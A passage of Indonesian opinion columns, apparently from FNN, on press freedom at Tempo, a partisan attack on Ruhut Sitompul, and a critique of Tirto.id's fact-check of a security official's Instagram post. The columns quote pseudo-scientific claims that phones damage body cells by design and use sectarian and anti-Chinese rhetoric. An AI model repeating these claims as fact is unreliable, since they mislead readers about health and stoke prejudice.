Tulisan akademisi Universitas Negeri Jakarta (UNJ) Ubedilah Badrun di tempo.co tiba-tiba menghilang. Tak bisa dibuka. Tulisan tersebut semula tampil di kolom opini dengan judul “Kejahatan Besar Sedang terjadi di Indonesia.” Ubed, begitu biasa dipanggil menyoroti secara tajam dan keras berbagai praktik penyimpangan dalam kepemimpinan Jokowi. Namun ketika tautan kolom itu dibuka, opini Ubed menghilang. Tidak bisa dibuka. Keterangan yang muncul : Page Not found. Sorry you have accesed a page that does not exist or was moved. Halaman tidak ditemukan. Akses halaman sudah tidak ada, atau dipindahkan. Beberapa saat kemudian artikel tersebut muncul kembali di kolom “Indonesiana.” Judulnya sudah berubah menjadi “Persoalan Besar Sedang Terjadi di Indonesia.” Tempo Ditekan? Menghilangnya dan kemudian dipindahkan artikel Ubed dari Kolom Opini ke kolom Indonesiana, menimbulkan tanda tanya. Pasti sedang terjadi “apa-apa” pada Tempo.co Kolom opini adalah halaman resmi dari media. Diisi oleh para penulis opini yang kredibel. Memenuhi standar, value media yang bersangkutan. Tulisan bisa datang dari si penulis, atau atas permintaan redaksi. Secara hukum media ikut bertanggung jawab atas publikasi opini tersebut. Sementara kolom Indonesiana masuk dalam kategori user generated content. Sebuah platform yang disediakan oleh media online untuk menarik dan menampung tulisan pembaca. Mereka bebas menulis, memilih topik apapun dan mengunggahnya. Ada yang melalui moderasi redaksi. Tapi banyak pula yang bebas tanpa moderasi. Redaksi tidak bertanggung jawab terhadap konsekuensi hukum dari konten tersebut. Sepenuhnya menjadi tanggung jawab pengunggah. Tulisan-tulisan tersebut juga bisa dimuat di berbagai media lain, tanpa hak eksklusif. Jadi bebas merdeka! Satu catatan lagi. Pada kolom opini, si penulis mendapat honorarium dari media. Pada user generated content tidak disediakan honor. Gratis! Biasanya para penulis pemula banyak memanfaatkan fitur ini. Namun banyak juga penulis senior yang memanfaatkannya, sebagai outlet untuk menyebarkan pikiran dan pendapatnya tentang berbagai hal. Dengan muncul di kolom opini, sesungguhnya tulisan Ubed tidak masuk dalam kategori user generated content. Bahwa kemudian artikel tersebut dipindahkan ke tempat yang “lebih aman” menunjukkan tempo.co dalam tekanan. Penjelasan redaksi tempo.co bahwa artikel tersebut “lebih cocok di sana” tidak cukup memadai. Spekulasi semacam itu tidak bisa dihindari. Publik pasti tidak percaya. Cukup diterima dengan senyum, sembari mencoba memakluminya. tempo.co bersama tirto.id beberapa pekan lalu menjadi pembicaraan publik . Situsnya diretas dan tampilannya diubah oleh hacker. Serangan terhadap tempo.co dan tirto.id diduga erat kaitannya dengan sikap kritis kedua media terhadap berbagai kebijakan pemerintah di masa pandemi. Tempo Group belakangan sangat kritis menyoroti kegagalan pemerintahan Jokowi menangani pandemi Covid-19. Mereka juga menyoroti penggunaan influencer dan buzzer yang menghabiskan anggaran negara. Sementara tirto.id menyoroti langkah TNI AD dan BIN yang bekerjasama dengan Universitas Airlangga menemukan “obat” Covid-19. Apakah diubah dan digesernya kolom Ubed di tempo.co karena tekanan pemerintah? Atau karena self censorship dari internal redaksi? Dua-duanya menunjukkan semakin tidak bebasnya pers di Indonesia. Masih mau mengklaim pers Indonesia bebas? Masih mau menepuk dada bahwa Indonesia adalah negara demokratis? End Penulis adalah Wartawan Senior FNN.CO

Ruhut Tuduh Umat Islam Merongrong Pemerintah?

by M. Rizal Fadillah Jakarta FNN – Kamis (03/09). Ruhut Sutompul muncul lagi, horeee. Cuma saja kali ini Ruhut tidak lagi minta atau menantang bertarung dengan jaminan potong kupingnya kalau kalah bertarung. Seperti yang diumbar-umbar Ruhut ketika ingin mempertahankan sipenista Agama Islam Ahok bertarung di Pilkada Gubernur DKI Jakarta 2017 lalu. Kemunculan Ruhut kali ini hanya untuk menggambarkan kondisi dan peta politik nasional kekinian. Huebat kan Ruhut? Menurut gambaran politik Ruhut, tiga kelompok yang sekarang merongrong pemerintahan Jokowi. Ada kelompok Din Syamsuddin, kelompok 212, dan Hizbut Tahrir Indonesia (HTI). Wuiiiih, huebat sekali analisanya Ruhut, he he he. Ruhut menyatakan siap berjuang untuk Jokowi habis habisan. Tunggu perintah dari bossnya, Megawati. Jadinya sekarang tiga kelompok lawan tiga Ruhut. Rehut pertama adalah Ruhut PDIP, Ruhut kedua adalah Ruhut Demokrat, dan Ruhut ketiga adalah Ruhut Golkar. Mati-matian sekarang Ruhut membela PDIP, serasa kader "aseli". Ruhut bukan lagi kader PDIP indekost atau imigran. Sama seperti dulu ketiks Rhut menjadi kader paling Demokrat dan paling Golkar. Walaupun demikian, wajarlah memang, kondisi bangsa ini sedang dilanda “politik angin anginan, politik jilat-menjilat dan politik mencari selamat kepada kekuasaan". Kemana angin bergerak ke situ sang oknum berpijak eh berpihak. Lagi musimnya mencari sandaran untuk merapat ke penguasa. Kebetulan penguasa juga lagi membutuhkan pelampung penyelamat untuk menyelamatkan kapal yang hampir tenggelam di tengah badai dan ombak besar. Mengerikan budaya politik menjilat yang tengah melanda bangsa ini dengan dahsyatnya. Seperti serasan para demang yang sedang membela penguasa kumpeni. Tidak peduli tingkat kejahatannya seperti apa? Termasuk menindas bangsanya sendiri. Persetan dengan harga diri, karena yang penting adalah “diri ada harga". Mau menjadi "buzzer" atau "influencer" sama saja. Yang jelas semua ada pembina yang mengorder. Sentimen kepada oposisi atau Islam kah tuan Ruhut sekarang ini ? Sebab Ruhut sebut Koalisi Aksi Menyelamatkan Indonesia (KAMI) kelompok Din Syamsuddin yang tokoh Islam. Ruhut juga menyebut 212 juga aksi umat Islam terhadap penista agama Ahok. Lalu HTI juga pergerakan Islam. Apakah Ruhut mau bicara dan menyatakan bahwa yang merongrong pemerintahan Jokowi-Ma'ruf itu adalah umat Islam? Kalau itu yang hendak dimaui oleh Ruhut, maka mungkin saja umat Islam akan memberikan predikat kepada Ruhut sebagai "musuh besar umat" hari ini. Jika demikian adanya, maka umat Islam tentu saja sangat siap untuk menghadapi apa saja yang dimaui oleh Ruhut. Bertarung di semua lini pun boleh. Toh, cuma sekedar menghadapi seorang Ruhut ini. Sebagai orang yang mengerti hukum, tentu Ruhut faham bahwa menyebut Din Syamsudin dan kelompoknya sebagai perongrong Pemerintah itu harus dibuktikan. Jika tidak, maka berbalik menjadi delik yang menjerat Ruhut. Delik fitnah dan pencemaran. Lalu benarkah Pemerintah merasa terongrong ? Mahfudz, Luhut, Moeldoko atau "tokoh" Pemerintah lainnya pada diam, dan tidak ada ungkapan merasa terongrong. Lagi pula apakah agar tidak terongrong, maka Pemerintah tidak boleh dikritik ? Suara beda dibungkam dan semua harus menurut patuh pada Pemerintah? Of course, no. Pemimpin yang tidak kompeten tidak boleh dibiarkan. Apalagi sewenang-wenang menguras kekayaan negara dan memeras warga negara. Hancur bangsa jika tidak ada pengawasan dan koreksi. Ruhut mesti sadar bahwa negara ini sedang sakit. Mungkin juga sekarat. Kondisi ini terjadi sekarang disebabkan oleh merajalelanya Korupsi, Kolusi, dan Nepotisme (KKN). Juga tingginya tingkat kesenjangan sosial, serta negara yang dikuasai kepentingan asing dan aseng. Benar bahwa "covid 19" merupakan ancaman bagi semua, baik pemimpin maupun rakyat. Tetapi pemimpin "stupid" adalah penyakit yang jauh lebih berbahaya. Ruhut boleh saja memetakan berdasarkan asumsi sendiri tentang kelompok yang merongrong pemerintahan Jokowi-Ma’ruf Amin, tetapi rakyat, khususnya umat Islam juga dapat memetakan dan mencatat dimana Ruhut Sitompul berada. Tak ada kekuasaan yang abadi. Kita lihat saja. Penulis adalah Pemerhati Politik dan Kebangsaan.

Pencari Fakta Semu di Dunia Maya

by Tony Hasyim Jakarta FNN - Kamis (03/09). Kemarin sore seorang kawan wartawan yang juga pegiat di media sosial menelpon saya bahwa telah terjadi keanehan di dunia “permedsosan”. Mereka heboh lantaran ada sebuah postingan Instagram seorang pejabat tinggi yang kebetulan berasal dari korps Polri ditandai “false information”. Setahu saya penandaan seperti ini merupakan peringatan dari admin Instagram agar postingan tersebut dihapus oleh sang pemilik akun. Jika dalam batas waktu tertentu tidak dilakukan maka admin Instagram akan men-takedown secara sepihak. Bagi pegiat media sosial kejadian seperti ini sudah biasa. Kawan-kawan saya yang main di Facebook juga sering “disetrap” dengan hukuman penonaktifan akun selama sepekan atau harus mengisi formulir kesanggupan mentaati etika bermedso lebih dulu agar akunya diaktifkan kembali. Menurut pemahaman banyak kalangan wartawan, lebih-lebih bagi mereka yang berseberangan dengan pemerintah, yang punya wewenang mencopot sebuah postingan atau menonatifkan sebuah akun medsos adalah pihak aparat pemerintah. Selama ini yang mereka curigai kalau bukan Kementerian Informasi dan Komunikasi (Kominfo), Polri (melalui direktorat tindak pidana siber) atau Badan Siber dan Sandi Negara (BSSN). Menariknya, kali ini yang diberi bendera “false informartion” oleh adalah akun “pongrekundharma88”. Saya terkejut. Wow! Pasalnya pemilik akun tersebut tidak lain adalah Komjen Polisi Dharma Pongrekun, seorang perwira tinggi Polri aktif yang kini menjabat sebagai Wakil Kepala BSSN. Dharma adalah seorang perwira polisi yang memiliki jam terbang tinggi di satuan reserse kepolisian. Usianya masih 54 tahun dan merupakan lulusan Akademi Kepolisian tahun 1988. Sebab itulah pada nama akun Instagramnya ada angka “88’. Instagram saat ini sedang booming di Indonesia. Aplikasi medsos ini dulu milik segmen kaum milenial. Tapi sekarang ini banyak pejabat sipil, militer maupun polisi di Indonesia yang memiliki akun Instagram. Panglima TNI Marsekal Hadi Tjahjanto pun ikut main di Instagram. Akun ini ia gunakan untuk menyampaikan informasi langsung ke masyarakat dan menjadi wahana berinteraksi langsung dengan masyarakat maupun para prajuritnya di seluruh tanah air Tapi sepengetahuan saya, baru pertama kali ini terjadi di Indonesia ada sebuah postingan seorang pejabat tinggi negara diberi peringatan keras oleh “admin” Instagram. Selain memberi peringatan “false information”, Instagram juga sering menandai sebuah postingan sebagai “sensitive content”. Saya sebut ini peringatan ringan, karena sekedar mengingatkan kepada netizen bahwa postingan tersebut memuat foto atau video yang tidak usah dilihat, karena memuat konten kekerasan secara verbal atau fisik. Saya lalu teringat, sebulan yang lalu, sebuah postingan dari diva musik pop dunia Madonna di Instagram diberi peringatan “false information” lantaran dia mengunggah sebuah video yang menyatakan pandemiK Covid-19 sebagai sebuah “konspirasi”. Tapi bukan celebritis kelas dunia saja yang dihukum oleh admin medsos. Saya teringat postingan dari akun resmi Presiden Amerika Serikat Donald Trump, dan anak tertuanya, Donald Trump Jr., pernah dicekal oleh penguasa medsos karena karena dianggap mengandung konten “kontroversial” tentang covid-19. Dari kejadian-kejadian di dunia permedsosan itu, saya langsung berpikir siapa sebenarnya “penguasa” di dunia ini? Saya sendiri sudah mengkonfirmasi kejadia pencekalan di medsos ini langsung ke Dharma Pongrekun. “Benar. Sebuah postingan saya di Instagram dinyatakan false information. Padahal saya berniat baik. Hanya menghimbau seluruh generasi muda untuk mewaspadai fenomena kecanduan gadget,” katanya. Postingan seperti apa itu? Dharma kemudian mengirim screenshoot dari postingan yang diberi peringatan keras oleh Instagram berupa foto dan narasi (dalam huruf italic) seperti di bawah ini. Di era digitalisasi saat ini, teknologi informasi dan komunikasi yang berbentuk gadget berkembang begitu cepat untuk mencari informasi dan komunikasi dalam segala urusan, bahkan sarana hiburan bagi semua kalangan mulai dari kalangan atas sampai kalangan bawah, mulai dari orang tua, remaja, bahkan sampai anak-anak kecil pun sudah dibiasakan bermain dengan gadget. Sayangnya kemajuan teknologi ini tidak didukung dengan kesiapan pemahaman yang benar dan memadai bagi para penggunanya, sehingga tidak disadari telah terjebak dalam manipulasi si pembuatnya. Gadget merupakan jebakan candu narkoba gaya baru, tapi dilegalkan. Mereka ini sedang mengulangi keberhasilan opium, perang opium/candu terjadi pada tahun 1839-1860 M antara Inggris dan Cina yang berakhir dengan jatuhnya Cina, yang tujuannya untuk menguasai Negara dengan cara menguasai orang-orang elit, karena orang-orang elit itu lebih mementingkan gengsi dan gengsi itu terkait dengan harga mahal, jadi harga opium dibuat sangat mahal. Tidak beda dengan harga gadget yang harganya puluhan juta pada awalnya. Itu kan suatu gengsi tersendiri! Pengguna gadget akan digempur oleh konten yang merangsang hormon kebahagiaan, sehingga mereka akan terikat dan kecanduan. Kenapa dibikin terikat? Agar tidak bisa melepaskan diri, karena gadget telah dibekali radiasi yang merusak, namun tubuh kita cerdas bukan hanya radiasi dari mesinnya saja yang merusak, tapi juga dari niatnya (motivasi) si pembuatnya. Badan kita sangat cerdas dan sangat tahu kalau kita dijauhkan dari fitrah. Segala sesuatu yang menjauhkan kita dari fitrah, sel tubuh kita akan mengantisipasinya dengan melemahkan tubuh kita supaya kita tidak bisa mengejarnya, tetapi itu pun sudah diantipasi oleh pembuatnya dengan cara menggempur sel tubuh terus-menerus dengan gelombang yang dapat melemahkan tubuh, sehingga sel-sel tubuh manusia kehilangan kemampuan untuk memproteksi dirinya. Sel akan jadi bloon dan bila sel sudah bloon, maka tubuh akan kehilangan kecerdasan tubuh (body intelligent), dan akhirnya benar-benar akan menjadi kecanduan gadget. #selamatkangenerasibangsa. Menurut Dharma beberapa saat setelah mengunggah postingan tersebut ia mendapat mendapat pemberitahuan dari Instagram bahwa postingannya adalah “False Information - Reviewed by independent fact checkers”. Saya sendiri langsung memeriksa postingan tersebut. Sampai saat saya menulis ini, postingan tersebut masih ada dan masih ditandai dengan bendera “False Information’. Di bawah peringatan tersebut ada keterangan tambahan “False : independent fact-chekers say this information has no basic in fact”. Kemudian ada keterangan lagi ; Fact-chekers : Tirto. Conclusion : False (dengan huruf merah). More Information: Komentar Dharma Soal Gawai, Candu & Perusakan Sel, Hoaks/Fakta? - Tirto.ID Ada Agen Lokal Diangkat Jadi Detektif Medsos Instagram adalah aplikasi media sosial yang dimiliki oleh grup Facebook . Selain Instagram, pengembang media sosial terbesar di dunia ini juga menjadi pemilik aplikasi messenger Whatsaap. Ketiga aplikasi jejaring sosial ini beroperasi bebas dan sangat populer di Indonesia. Sampai sekarang masih terjadi perdebatan di kalangan pengambil kebijakan hampir di semua negara, bagaimana caranya agar otoritas lokal bisa “mengendalikan”, mengawasi dan menangkal konten-konten negatif yang disebarkan melalui aplikasi-aplikasi tersebut, termasuk tentunya bagaimana cara memungut pajak dari aktivitas kapitalisasi yang mereka lakukan. Di Indonesia sudah lama Facebook punya kantor dan punya kepada perwakilan di Jakarta yang disebut Facebook Country Director. Sampai saat ini memang tidak ada pemerintahan di dunia ini yang bisa mengendalikan konten di medsos, kecuali dengan melarang ketiga aplikasi tersebut beroperasi di negaranya. Karena keberadaan medsos sejauh ini sifatnya masih “abu-abu’, disebut eksis tapi beroperasinya di dunia maya (virtual). Mau disebut Badan Usaha Tetap (BTU) tapi cara memungut pajaknya juga masih membingungkan aparat pajak. Tapi dalam ranka pengawasan postingan warga negara dunia Facebook mendirikan sebuah lembaga bernama IFCN (International Fact-checking Network) yang anggotanya mereka rekrut dari kalangan apa saja, termasuk media massa, lembaga swadaya masyarakat, atau perorangan. Mereka inilah yang dilatih dan diberi sertifikat sebagai fact-chekers (pemeriksa fakta) dan kerap mengadakan workshop internasional. Sejauh ini grup Facebook mengklaim telah bekerja sama dengan 45 pemeriksa fakta di seluruh dunia yang tersertifikasi. Mereka inilah yang membantu mengidentifikasi, meninjau, dan melabeli informasi palsu. Katanya, mereka adalah “non-partisan”. Tapi menurut saya ini sekedar modus agar mereka tidak dituduh berpihak. Oleh Facebook mereka ini disebut sebagai “third party” atau pihak ketiga. Kalau ada pihak ketiga, berarti ada pihak pertama dan kedua. Dalam hal ini pihak pertama (“penguasa”) adalah pengembang aplikasi. Lalu pihak kedua adalah pengguna atau pemilik akun yang lazim disebut warganet atau netizen. Pihak ketiga tak lain adalah fact-cherkers yaitu mereka yang diberi kewenangan untuk mereka mengawasi dan menilai postingan-postingan netizen di Facebook dan Instagram. Jadi dalam dunia permedsosan ini ada semacam “negara dalam negara” di mana penguasa negara yang sesungguhnya atau pemerintahan di dunia yang lazim kita kenal selama ini tidak dianggap sebagai “pihak”. Praktis dalam dunia jejaring media sosial ini sebetulnya tidak ada ruang bagi sebuah pemerintahan negara di dunia untuk mengintervensi konten di media sosial. Di negara-negara Arab, keberadaan medsos ini pernah bikin kelabakan para penguasa setempat. Waktu terjadi fenomena “Arab Spring” satu dekade lalu, para pengusasa di negeri-negeri Arab dibikin babak belur akibat postingan-postingan di medsos yang memicu pemberontakan warga negaranya. Beberapa penguasa tumbang akibat pemberontakan yang digerakan melalui medsos. Suriah terpuruk dalam perang saudara berkepanjangan akibat pemerintahnya lalai mengontrol penyebaran informasi melalui medsos. Presiden Donald Trump sendiri pernah protes ke pengembang medsos lantaran postingannya ditake-down. Tapi sampai sekarang dia tidak kapok “main” di medsos untuk berinteraksi langsung dengan rakyatnya. Bahwa ada banyak netizen yang memaki-makinya melalui medsos, dia tidak peduli. Karena di sisi lain banyak pula follower yang menyanjungnya. Kondisi seperti itu juga kita rasakan di Indonesia. Tapi postingan Presiden Jokowi tidak pernah diganggu oleh penguasa medsos. Setahu saya pemeritah sebetulnya tidak berdaya mengontrol konten-konten netizen bermuatan negatif yang berseliweran di media sosial. Sebab itu jangan kaget kalau pemerintah memelihara influencer dan buzzer yang ditugaskan membalas serangan dari lawan-lawan politiknya. Konsekwensinya, dunia permedosan di Indonesia sekarang ini dipenuhi oleh ujaran kebencian, penghasutan, penyesatan dan segala macam sumpah serapah yang dilakukan oleh para netizen baik dari kubu oposisi maupun incumbent. Kondisi percakapan antar warga negara kita di medsos sebetulnya sudah sangat mengkhawatirkan. Tapi apa daya, yang memiliki kewenangan mengontrol konten di media sosial sekarang ini adalah pengembang dari media sosial itu sendiri, dengan program yang disebut fact-checkers. Pemerintah dalam hal pihak kepolisian sejauh ini hanya bisa mengambil tindakan kepada netizen yang melanggar etika bermedsos berdasarkan laporan dari masyarakat. Sudah cukup banyak warga negara kita yang dijerat pasal-pasal pidana. Tapi banyak komplain karena yang dipidana hanya dari kalangan oposisi saja. Dari sinilah lahir anggapan bahwa pemeritah mengontrol konten di medsos. Padahal sejatinya pemerintah sendiri tidak berdaya mengontrol medsos dalam arti mengantisipasi atau mencegah penyebaran konten-konten bernuansa negatif. Dan konyolnya, aplikasi medsos memungkinan orang menggunakan nama samaran. Saya pernah dengar wacana dari seorang pejabat agar pemerintah menerapkan kebijakan “one gate system” untuk pengendalian lalu lintas informasi di medsos maupun di internet secara keseluruhan. Kalau tak salah ingin meniru kebijakan di Tiongkok, Iran, dan Korea Utara. Tapi wacana ini dikesampingkan dengan alasan “demi demokrasi”. Alhasil, satu-satunya cara efektif mengendalikan penyebaran konten negatif di medsos memang hanya admin medsos itu sendiri. Itu pun mereka harus menggunakan bantuan tenaga dari pihak ketiga yang disebut fact-checkers. Nah, salah satu pihak di Indonesia yang diangkat menjadi fact-chekers oleh grup Facebook adalah portal berita online bernama Tirto.ID. Media yang dimiliki oleh bekas awak detik.com bernama Sapto Anggoro ini dalam sebuah artikelnya menyatakan telah diangkat menjadi fact-chekers oleh Facebook. “Facebook Gandeng Tirto.id untuk Program Third Party Fact Checking”. Demikian sebuah judul artikel di Tirto.ID yang ditayangkan pada 2 April 2018. Selain Tirto.ID sebetulnya ada beberapa media massa dan LSM di Indonesia yang sudah diangkat menjadi third party oleh Facebook dalam beberapa tahun terakhir. Kita bisa googling mereka dengan kata kunci facebook-indonesia-fact chekers. Tapi kali ini yang saya bahas hanya Tirto.ID. Karena Tirto.ID inilah yang menjadi penilai postingan Dharma di Instagram dan berakibat dinyatakan “false information”. Masalahnya sekarang apakah benar postingan Dharma Pongrekun yang notabene adalah seorang petinggi negara di sebuah lembaga yang memiliki fungsi mengamankan jagat siber nasional, berisi informasi palsu? Di sisi lain, apakah Tirto.ID sudah melakukan pengecekan fakta secara benar hingga mengambil kesimpulan postingan tersebut berisi informasi palsu? Review Tirto.id Terhadap Postingan Waka BSSN Pada 26 Agustus 2020, Tirto.ID menurunkan artikel berjudul “Periksa Fakta : Komentar Dharma Soal Gawai, Candu & Perusakan Sel, Hoaks/Fakta?” Isi artikel tersebut secara saya copy paste dalam format italic di bawah ini. Pada 12 Agustus 2020, akun Instagram @pongrekundharma88 (arsip) mengunggah sebuah foto Wakil Kepala BSSN Komjen Pol. Dharma Pongrekun dengan tulisan: DHARMA SAYS, Gawai adalah alat (gadget) yang disiapkan oleh “mereka” untuk menjerat kita bekerja (network) melalui jaring “mereka” (internet), dengan cara merusak sel-sel tubuh (cellular phone) melalui gelombangnya (bad vibes) yang menggempur (attack) sel biologi terus-menerus (automation) menjadi bloon (slow response), agar “mereka” mudah dan cepat (smartphone) memperdaya pikiran (mindset manipulation) kita, sehingga melemahkan (malware) kecerdasan tubuh (body intelligence) yang membuat kita tidak sadar telah kehilangan jati diri (refocusing) sebagai insan NUSWANTARA (Makhluk mandiri menuju Tuhan). Kemudian, pada deskripsi foto, akun Dharma menuliskan deskripsi panjang yang, jika disimpulkan, menyatakan bahwa gawai menyebabkan candu. Ia mengaitkan candu yang disebabkan gawai dengan Perang Candu/Opium yang terjadi pada 1839-1860 M antara Inggris dan Cina yang berakhir dengan jatuhnya Cina. Menurut akun Dharma, perang tersebut bertujuan menguasai orang-orang elit karena orang-orang elit lebih mementingkan gengsi, dan gengsi itu terkait dengan harga mahal, jadi harga opium dibuat sangat mahal. Tidak beda dengan harga gadget yang harganya puluhan juta pada awalnya. Menurut akun Dharma pula, gadget telah dibekali radiasi yang merusak. Selain itu, pembuat gawai juga memasukkan gelombang yang dapat melemahkan sel-sel tubuh sehingga kita benar-benar kecanduan. Unggahan akun Dharma ini mendapat sekitar 4.700 Likes di Instagram. Selain itu, unggahan ini mengundang orang-orang mengomentari kaitan antara menara Base Transceiver Station (BTS), jaringan 5G, dan bahayanya terhadap tubuh, salah satunya akun @kesadaranmimpi. Penelusuran Fakta : Tirto melakukan penelusuran terhadap sejumlah istilah yang digunakan oleh akun Dharma dalam unggahannya untuk menemukan koherensi antara sejumlah istilah tersebut dengan narasi dalam unggahan di akun Dharma. Berikut pengertian sejumlah istilah yang digunakan oleh akun tersebut: Cellular phone atau smartphone adalah telepon yang dapat digunakan di mana saja karena beroperasi melalui signal radio. Gadget atau gawai merupakan peranti elektronik atau mekanik dengan fungsi praktis. Network atau jaringan adalah sebuah sistem besar yang terdiri dari banyak bagian serupa yang dihubungkan untuk memungkinkan pergerakan atau komunikasi antara, atau sepanjang bagian, atau antara bagian dan pusat kendali. Bad vibes adalah semua perasaan tidak nyaman, gelisah, dan tidak aman. Attack adalah mencoba menyakiti atau mengalahkan menggunakan kekerasan. Automation adalah penggunaan mesin dan komputer yang dapat beroperasi tanpa memerlukan kendali manusia. Slow response berarti lamban. Mindset manipulation bisa disebut juga mental manipulation yang berarti mengerahkan pengaruh yang cerdik atau licik terutama untuk keuntungan diri sendiri. Malware adalah perangkat lunak komputer yang dirancang untuk merusak cara kerja komputer. Body intelligence adalah kemampuan tubuh untuk beradaptasi dengan tantangan baru dari lingkungan dalam / luar dengan memahami dan menyadari sinyal tubuh dan dengan modalitas respons khusus. Refocusing adalah mengembalikan fokus. Jika ditelisik satu-persatu, istilah-istilah yang digunakan akun Dharma tampak kurang tepat penggunaannya. Sel-sel tubuh, misalnya, tidak sama dengan cellular phone, gelombang tidak sama dengan bad vibes, sementara sel biologi bukanlah automation, dan melemahkan tidak sama dengan malware. Lebih lanjut, efek yang ditimbulkan candu/opium memiliki efek berbeda dengan efek "candu" yang ditimbulkan gawai. Dharma juga tidak menyebutkan referensi tertentu dalam unggahannya terkait efek "candu" pada gawai ini sehingga sulit membuktikan kebenaran unggahan akun Dharma tersebut. Selain itu, kami juga menemukan komentar (maksudnya komentar dari follower akun Dharma) terkait isu konspirasi mengenai menara 5G yang dianggap membahayakan dalam kolom komentar di unggahan akun Dharma tersebut. Di tengah pandemi COVID-19 ini, memang muncul isu mengenai teknologi 5G yang dianggap dapat menyebarkan virus corona baru SARS-CoV-2 penyebab COVID-19, radiasi 5G yang melemahkan imunitas seseorang, hingga tuduhan 5G yang secara langsung menularkan virus. Padahal, virus corona baru ini tidak dapat disebarkan oleh benda mati, apalagi radiasi 5G. Teori konspirasi terkait menara 5G ini telah menyebabkan sejumlah insiden berbahaya, seperti terbakarnya menara 5G di Britania Raya, tepatnya di Birmingham, Liverpool, dan Melling di Merseyside. Awal mula kejadian ini, seperti dilansir BBC, disebabkan oleh video yang mengaitkan antara teknologi mobile dengan COVID-19. Kementerian Digital, Kebudayaan, Media, dan Olahraga (DCMS) Britania Raya telah menyanggah disinformasi ini melalui akun Twitter mereka. Pakar teknologi informasi Onno W. Purbo mengatakan bahwa secara umum, penggunaan sebuah teknologi secara berlebihan memang bisa membahayakan. "Contoh microwave oven menggunakan frekuensi yang tidak jauh beda dengan 4G, 5G, dan di microwave oven, daging bisa matang karena microwave oven menggunakan daya ratusan Watt," kata Onno kepada Tirto lewat email, Selasa (18/08/2020). Namun, lanjut Onno, peralatan 3G, 4G, 5G menggunakan daya yang jauh lebih kecil dibandingkan oven microwave. "BTS biasanya menggunakan daya pancar sekitar 1-5 Watt. Handphone biasanya menggunakan daya 0.1-0.5 watt," jelasnya. "Jadi, peralatan ini jauh lebih aman daripada microwave oven." Terlepas dari isu disinformasi 5G dan virus corona, Onno memberikan sejumlah saran yang dapat dilakukan terkait bahaya radiasi pemancar. Pertama, bagi orang yang memiliki sensitivitas tinggi terhadap gelombang pancaran radio, disarankan untuk tidak terlalu dekat dengan ponsel dan terlalu lama menggunakan ponsel yang ditempelkan ke kepala. Kedua, akan lebih aman menggunakan headset agar letak ponsel lebih jauh dari tubuh. Ketiga, jika berada pada lokasi yang cukup jauh dari sinyal pemancara atau BTS, seperti di kereta api, disarankan agar tidak melakukan sambungan telepon terlebih dahulu karena ponsel cenderung menaikkan daya pancar agar dapat tersambung dengan lokasi BTS yang jauh tersebut. Sejumlah informasi salah yang berbahaya terkait COVID-19 memang banyak menyebar. Salah satu informasi ini, misalnya, pernah disampaikan Presiden Amerika Serikat Donald Trump pada 24 April 2020. Ia mengatakan bahwa virus corona dapat dicegah dengan menyuntikkan disinfektan ke tubuh. Namun, Trump menyatakan tidak bertanggung jawab terhadap orang-orang yang benar-benar menggunakan disinfektan untuk tubuh. Ia menyatakan bahwa pernyataan sebelumnya hanyalah sarkasme. Kesimpulan: Narasi yang disebarkan oleh akun Instagram @pongrekundharma88 tidak memiliki bukti yang kuat terkait hubungan antara gawai yang dapat menyebabkan candu dan kerusakan sel. Informasi tersebut bersifat salah dan menyesatkan (false & misleading). Sementara itu, teori-teori konspirasi yang melibatkan tower BTS sama sekali tidak memiliki bukti ilmiah yang jelas. Tirto Tidak Melakukan Klarifikasi Fakta Ke Dharma Di luar perannya sebagai fact-chekers dari Facebook, Tirto.ID sejatinya adalah portal berita online yang seharusnya tunduk kepada etika jurnalistik. Salah satu prinsip mendasar dalam dunia kewartawanan, sebelum menurunkan sebuah berita seharusnya sudah melakukan cek dan ricek kepada pihak-pihak terkait dalam pemberitaan tersebut. Semua wartawan pasti paham dengan prinsip cover bothside. Hal itulah yang tidak dilakukan oleh Tirto.ID dalam artikel yang mereview postingan Dharma. Dalam artikel itu juga tidak ada kesan si penulisnya sudah berupaya melakukan konfirmasi kepada Dharma. Padahal dalam artikel tersebut jelas si penulis penyembut postingan Dharma tayang di Instagram tanggal 12 Agustus 2020. Kemudian si penulis meminta tanggapan atas postingan tersebut kepada seorang pakar bernama Onno S Purbo dan mendapat jawaban via email tanggal 18 Agustus 2020. Sedangkan Tirto.ID menurunkan artikel tersebut tanggal 26 Agustus 2020. Artinya, si penulis sebetulnya memiliki waktu cukup panjang untuk melakukan pemeriksaan fakta dan meminta referensi yang dimaksud dalam artikel itu langsung kepada Dharma. Tapi hal ini tidak dilakukan. Dharma sendiri mengaku tidak pernah dihubungi awak Tirto.ID. “Padahal saya dengan senang hati jika diundang mereka untuk membuktikan apa yang saya sampaikan dalam postingan tersebut,” kata Dharma. Selain itu artikel Tirto.ID nampaknya dibuat berdasarkan metode investigasi yang sangat dangkal dan sudah diframing sedemikian rupa. Si penulis memberi penilaian bahwa pernyataan dan istilah-istilah yang dipakai Dharma dengan kategori “tidak tepat”, “tidak ada referensi” dan atau “tidak ada bukti ilmiahnya”. Padahal, dalam dunia kewartawanan, apalagi bagi mereka yang memiliki kualifikasi wartawan investigasi, sebuah penilaian terhadap fakta harus dicari sebanyak-banyaknya. Saya sendiri dulu sering meminta kelonggaran waktu deadline kepada atasan saya agar reportase saya bisa menjadi fakta yang lebih utuh terhadap suatu peristiwa. Nah, sekarang setelah jadi atasan, saya sekarang sering marah kepada reporter saya karena kerap laporannya lebih banyak hasil googling dari pada hasil liputan di lapangan. Inilah kondisi yang dihadapi dunia jurnalistik sekarang. Akibat ada internet, ada google dan mesin pencarian informasi lain, wartawan muda kita sekarang jadi malas berangkat lapangan karena menganggap faktanya sama dengan yang sudah ada di internet. Saya tidak tahu persis apakah wartawan Tirto.ID yang menulis artikel tersebut mengalami kondisi ketergantungan mencari informasi dari internet atau tidak. Sebagai wartawan idealnya kita hanya bisa menurunkan berita atau artikel berdasarkan apa yang kita lihat, kita alami atau kita rasakan sendiri di lapangan. Bahwa hasil reportase kita berbeda “tone” atau “angle” dengan media lain, itu masalah persepsi yang memang sulit dihindari. Tapi kalau kita ikut hadir, melihat, dan membuktikan sendiri suatu keadaan dalam sebuah peristiwa, hasil reportase kita sulit disanggah oleh yang tidak hadir dalam peristiwa tersebut. Dalam banyak peristiwa, karena keterbatasan awak redaksi atau jaringan, sebuah media massa memang dibenarkan mengutip informasi atau keterangan dari media lain, termasuk mengutip jurnal atau kajian dari berbagai pakar atau pengamat. Tapi dengan syarat kita harus menyebut dengan jelas nama media, jurnal, kajian, pakar dan pengamat tersebut. Ini menyangkut masalah kejujuran dan kredibilitas jurnalistik. Di sisi 